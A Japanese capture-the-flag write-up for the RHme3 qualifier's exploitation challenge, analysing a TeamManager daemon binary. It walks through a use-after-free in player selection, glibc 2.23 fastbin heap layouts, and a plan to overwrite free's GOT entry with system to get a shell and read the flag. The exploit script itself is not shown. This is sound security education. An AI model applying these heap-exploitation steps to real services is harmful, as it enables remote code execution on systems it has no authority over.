RHme3オンライン予選WriteUpシリーズ最終記事、第3問のWriteUpです。
第3問
問題名:Exploitation
問題文:This binary is running on pwn.rhme.riscure.com. Analyze it and find a way to compromise the server. You'll find the flag in the filesystem.
問題ファイル:main.elf, libc.so.6
Exploit問題です。 問題ファイルの脆弱性を利用して、指定されたサーバ「pwn.rhme.riscure.com」からFlagを取ります。
問題ファイルの解析
問題ファイルのファイル情報を調べます。 「checksec」[1]は実行ファイルのセキュリティ機構を解析するツールです。
$ file main.elf
main.elf: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=ec9db5ec0b8ad99b3b9b1b3b57e5536d1c615c8e, not stripped
$ ./checksec -f main.elf
RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE
Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH Yes 0 10 main.elf
$ ./libc.so.6
GNU C Library (Ubuntu GLIBC 2.23-0ubuntu9) stable release version 2.23, by Roland McGrath et al.
(省略)
x86-64 ELF形式です。 CanaryとNXが有効なので、スタックオーバーフローは難しそうです。 Partial RELROであるので、Write-what-where Condition(任意の場所に任意の値を書き込み可能な状態)にできれば、GOT Overwriteが可能です。 問題ファイルとしてlibc.so.6も提供されていることから、libcを利用したROP(Return-oriented programming)やret2libc(Return-to-libc)を行う問題かもしれません。
実行します。
$ ./main.elf
$ ls
libc.so.6 main.elf
$ ps aux | grep main
hoge 3223 0.0 0.0 15256 928 pts/3 S+ 16:54 0:00 grep --color=auto main
$ gdb -q ./main.elf
Reading symbols from ./main.elf...(no debugging symbols found)...done.
(gdb) set follow-fork-mode child
(gdb) r
Starting program: /home/hoge/main.elf
[New process 3230]
[Inferior 2 (process 3230) exited with code 01]
実行すると子プロセスが作られますが、リターンコード「1」で終了しています。 何か起動条件があるようです。 逆アセンブルして解析した結果、「pwn」ユーザと「/opt/riscure/pwn」ディレクトリが存在すれば、デーモンとして動作することが分かりました。 デーモン起動後は、1337/TCPで待ち受けるようです。 not strippedなバイナリであり読み易いので、解析手順は省略します。
$ sudo adduser pwn
(省略)
$ sudo mkdir -p /opt/riscure/pwn
$ sudo ./main.elf
$ nc localhost 1337
Welcome to your TeamManager (TM)!
0.- Exit
1.- Add player
2.- Remove player
3.- Select player
4.- Edit player
5.- Show player
6.- Show team
Your choice:
「ゲームの時間だ。」です。 色々操作します。 長くなるので、上記の「0.から6.」の選択項目は「(省略)」します。
Your choice: 1
Found free slot: 0
Enter player name: hoge
Enter attack points: 1
Enter defense points: 2
Enter speed: 3
Enter precision: 4
(省略)
Your choice: 3
Enter index: 0
Player selected!
name: hoge
A/D/S/P: 1,2,3,4
(省略)
Your choice: 5
name: hoge
A/D/S/P: 1,2,3,4
(省略)
Your choice: 4
0.- Go back
1.- Edit name
2.- Set attack points
3.- Set defense points
4.- Set speed
5.- Set precision
Your choice: 1
Enter new name: fuga
0.- Go back
1.- Edit name
2.- Set attack points
3.- Set defense points
4.- Set speed
5.- Set precision
Your choice: 0
(省略)
Your choice: 5
name: fuga
A/D/S/P: 1,2,3,4
(省略)
Your choice: 1
Found free slot: 1
Enter player name: piyo
Enter attack points: 5
Enter defense points: 6
Enter speed: 7
Enter precision: 8
(省略)
Your choice: 6
Your team:
Player 0
name: fuga
A/D/S/P: 1,2,3,4
Player 1
name: piyo
A/D/S/P: 5,6,7,8
(省略)
Your choice: 2
Enter index: 0
She's gone!
(省略)
Your choice: 6
Your team:
Player 0
name: piyo
A/D/S/P: 5,6,7,8
(省略)
Your choice: 5
name:
A/D/S/P: 26764848,0,3,4
(省略)
Your choice: 4
0.- Go back
1.- Edit name
2.- Set attack points
3.- Set defense points
4.- Set speed
5.- Set precision
Your choice: 1
Enter new name: bar
0.- Go back
1.- Edit name
2.- Set attack points
3.- Set defense points
4.- Set speed
5.- Set precision
Your choice: 2
Enter attack points: 10
0.- Go back
1.- Edit name
2.- Set attack points
3.- Set defense points
4.- Set speed
5.- Set precision
Your choice: 0
(省略)
Your choice: 5
name: bar
A/D/S/P: 10,0,3,4
(省略)
Your choice:
設定値(player nameとattack points、defence points、speed、precision)を持ったプレイヤーを作成し、作成したプレイヤーに対して、プレイヤーを選択後、設定値の表示・編集ができます。 操作の後半から分かるように、選択中のプレイヤーを削除しても、設定値の表示・編集(赤色太字)ができてしまっています(Use-after-free)。 削除時に、選択中プレイヤーへのポインタの初期化を行っていないようです。 余談ですが、最後は日本語でお別れを言ってくれます。
Welcome to your TeamManager (TM)!
0.- Exit
1.- Add player
2.- Remove player
3.- Select player
4.- Edit player
5.- Show player
6.- Show team
Your choice: 0
Sayonara!
プレイヤー(以下、エントリ)を1人追加し、選択した時のmain.elfのデータ構造を以下に示します。
次に、gdbでプロセスにアタッチしてヒープを調べます。
//操作1
//エントリ1(player name="1111111111111111", attack points=1, defense points=1, speed=1, precision=1)と
//エントリ2(player name="2222222222222222", attack points=2, defense points=2, speed=2, precision=2)を追加
0x1095610: 0x00000000 0x00000000 0x00000021 0x00000000
0x1095620: 0x00000001 0x00000001 0x00000001 0x00000001
0x1095630: 0x01095640 0x00000000 0x00000021 0x00000000
0x1095640: 0x31313131 0x31313131 0x31313131 0x31313131
0x1095650: 0x00000000 0x00000000 0x00000021 0x00000000
0x1095660: 0x00000002 0x00000002 0x00000002 0x00000002
0x1095670: 0x01095680 0x00000000 0x00000021 0x00000000
0x1095680: 0x32323232 0x32323232 0x32323232 0x32323232
0x1095690: 0x00000000 0x00000000 0x00000061 0x00000000
//操作2
//操作1の後に、エントリ1→エントリ2の順番でエントリを削除後、
//エントリ3(player name="3333333333333333", attack points=3, defense points=3, speed=3, precision=3)を追加
0x1095610: 0x00000000 0x00000000 0x00000021 0x00000000
0x1095620: 0x01095630 0x00000000 0x00000001 0x00000001
0x1095630: 0x01095640 0x00000000 0x00000021 0x00000000
0x1095640: 0x00000000 0x00000000 0x31313131 0x31313131
0x1095650: 0x00000000 0x00000000 0x00000021 0x00000000
0x1095660: 0x00000003 0x00000003 0x00000003 0x00000003
0x1095670: 0x01095680 0x00000000 0x00000021 0x00000000
0x1095680: 0x33333333 0x33333333 0x33333333 0x33333333
0x1095690: 0x00000000 0x00000000 0x00000061 0x00000000
//操作3
//操作1の後に、エントリ2→エントリ1の順番でエントリを削除後、
//エントリ3(player name="3333333333333333", attack points=3, defense points=3, speed=3, precision=3)を追加
0x1095610: 0x00000000 0x00000000 0x00000021 0x00000000
0x1095620: 0x00000003 0x00000003 0x00000003 0x00000003
0x1095630: 0x01095640 0x00000000 0x00000021 0x00000000
0x1095640: 0x33333333 0x33333333 0x33333333 0x33333333
0x1095650: 0x00000000 0x00000000 0x00000021 0x00000000
0x1095660: 0x01095670 0x00000000 0x00000002 0x00000002
0x1095670: 0x01095680 0x00000000 0x00000021 0x00000000
0x1095680: 0x00000000 0x00000000 0x32323232 0x32323232
0x1095690: 0x00000000 0x00000000 0x00000061 0x00000000
赤色太字がエントリ構造体のchunkで、青色イタリック字がplayer nameポインタ(以下、nameポインタ)が指す文字列(以下、name文字列)のchunkです。 chunkの先頭の8byteがchunkのサイズです(下位3bitは状態フラグ)。 操作2と操作3で結果が異なるのは、glibcのmallocの仕組みによるものです。 x86-64アーキテクチャにおいて、glibc 2.23のmallocは、mallocへの要求サイズが160byte以下の場合、chunkを「fastbins」というLIFOリストに登録します。 従って、エントリ2を後から解放した操作2ではエントリ2があったchunkに、エントリ1を後から解放した操作3ではエントリ1があったchunkに、エントリ3が入ります。
ここで、操作1の直後にエントリ2を選択してから、操作3を行ったとします。 エントリ2のnameポインタは「0x1095670」番地にあった64bit値です。 前述の操作より、選択中エントリを削除しても、選択中エントリへのポインタの初期化が行われないことが分かっています。 そのため、操作3を行った後も、選択中エントリのnameポインタは「0x1095670」番地にある64bit値です。 エントリ2のnameポインタがあった「0x1095670」番地に、書き換えたい場所のアドレスを書き込むことができれば、選択中エントリのnameを編集することで、書き換えたい場所に任意の値を書き込めます。
Exploit
先ほどの考察より、以下の攻撃を行えば良いことが分かりました。
- エントリ1を追加
- エントリ2を追加
- エントリ2を選択
- エントリ2を削除
- エントリ1を削除
- エントリ2のnameポインタがあった番地に、書き換えたい場所のアドレスを書き込むようなエントリ3を追加
- 選択中エントリ(元エントリ2)のnameを編集して、書き換えたい場所に任意の値を書き込む
当該攻撃の肝は、手順6.です。 player name以外の設定値は0から99までの値しか受け付けないため、アドレスを書き込むには不向きです。 player nameは255byteまでの値を受け付けるため、player nameを利用します。 前述の操作3ではエントリ1のname文字列があったchunkに、エントリ3のname文字列が入ってしまっています。 手順6.を行うためには、エントリ2のエントリ構造体があったchunkに、エントリ3のname文字列を入れる必要があります。 これは、前述のfastbinsの特性を利用して実現可能です。 x86-64アーキテクチャにおいて、glibc 2.23のmallocは、fastbinsに登録されるchunkを16byte単位で管理しており、例えば、サイズが32byteであるchunkと、サイズが48byteであるchunkを別物扱いします。 エントリ1のplayer nameを24byte、エントリ3のplayer nameを20byteにして、操作1と操作3を行います。
//操作1
//エントリ1(player name="111111111111111111111111", attack points=1, defense points=1, speed=1, precision=1)と
//エントリ2(player name="2222222222222222", attack points=2, defense points=2, speed=2, precision=2)を追加
0x1095610: 0x00000000 0x00000000 0x00000021 0x00000000
0x1095620: 0x00000001 0x00000001 0x00000001 0x00000001
0x1095630: 0x01095640 0x00000000 0x00000031 0x00000000
0x1095640: 0x31313131 0x31313131 0x31313131 0x31313131
0x1095650: 0x31313131 0x31313131 0x00000000 0x00000000
0x1095660: 0x00000000 0x00000000 0x00000021 0x00000000
0x1095670: 0x00000002 0x00000002 0x00000002 0x00000002
0x1095680: 0x01095690 0x00000000 0x00000021 0x00000000
0x1095690: 0x32323232 0x32323232 0x32323232 0x32323232
0x10956a0: 0x00000000 0x00000000 0x00000051 0x00000000
//操作3
//操作1の後に、エントリ2→エントリ1の順番でエントリを削除後、
//エントリ3(player name="33333333333333334444", attack points=3, defense points=3, speed=3, precision=3)を追加
0x1095610: 0x00000000 0x00000000 0x00000021 0x00000000
0x1095620: 0x00000003 0x00000003 0x00000003 0x00000003
0x1095630: 0x01095670 0x00000000 0x00000031 0x00000000
0x1095640: 0x00000000 0x00000000 0x31313131 0x31313131
0x1095650: 0x31313131 0x31313131 0x00000000 0x00000000
0x1095660: 0x00000000 0x00000000 0x00000021 0x00000000
0x1095670: 0x33333333 0x33333333 0x33333333 0x33333333
0x1095680: 0x34343434 0x00000000 0x00000021 0x00000000
0x1095690: 0x00000000 0x00000000 0x32323232 0x32323232
0x10956a0: 0x00000000 0x00000000 0x00000051 0x00000000
操作1の結果、エントリ1のname文字列は48byteのchunkとして管理されています。 そのため、操作3の結果、エントリ3のname文字列は、エントリ1のname文字列があった48byteのchunkではなく、エントリ2のエントリ構造体があった32byteのchunkに入っています。 また、エントリ3のname文字列を20byteにしたため、name文字列の下位4byteがエントリ2のnameポインタがあった「0x1095680」番地を上書きしています。 nameポインタの下位4byteを任意の値に書き換えられるようになりました。 0xFFFFFFFFまでの番地に(Read Onlyでなければ)任意の値を書き込むことができます。 手順を以下に示します。
- 24byteのnameを持つエントリ1を追加
- エントリ2を追加
- エントリ2を選択
- エントリ2を削除
- エントリ1を削除
- 「16byteの文字列 + 書き換えたい場所のアドレス(0xFFFFFFFF以下)」なnameを持つエントリ3を追加
- 選択中エントリ(元エントリ2)のnameを編集して、書き換えたい場所に任意の値を書き込む
次に、「どこを書き換えるか?」ですが、free関数のGOTエントリを書き換えます。 free関数のGOTエントリを、system関数へのアドレスに書き換えることで、free関数を実行しようとすると、system関数が実行されます。 free関数は、エントリ削除時にname文字列の領域を解放する時と、エントリ自体の領域を解放する時に実行されます。 前者では、nameポインタがsystem関数に渡されるため、手順6.の「16byteの文字列」に実行したいコマンド文字列を入力すれば、任意のコマンドを実行可能です。
最後に、system関数へのアドレスを調べます。 エントリ3のnameポインタにfree関数のGOTエントリの値を書き込み、エントリの表示を行うと、free関数へのアドレスが表示されます。 free関数へのアドレスからlibc.so.6内におけるfree関数のオフセット値を引けば、libc.so.6のロードアドレスが分かるので、system関数へのアドレスも求めることができます。
以上のことをまとめた攻撃プログラムを以下に示します。
当該攻撃プログラムを実行すると/bin/shが実行されます。 カレントディレクトリにFlagファイルがありました。
$ id
uid=1004(pwn) gid=1004(pwn) groups=1004(pwn)
$ ls -l
total 24
-r--r--r-- 1 root root 24 Jul 28 13:11 flag
-rwxr-x--- 1 root root 19560 Jul 28 12:24 main.elf
$ cat flag
RHME3{h3ap_0f_tr0uble?}
この文字列がFlagでした。
以上で、RHme3オンライン予選WriteUpシリーズ終了です。 本戦が楽しみです。 それでは、Sayonara!
参考・引用文献
- slimm609. GitHub - slimm609/checksec.sh: Checksec.sh, <https://github.com/slimm609/checksec.sh.git>2017年9月21日アクセス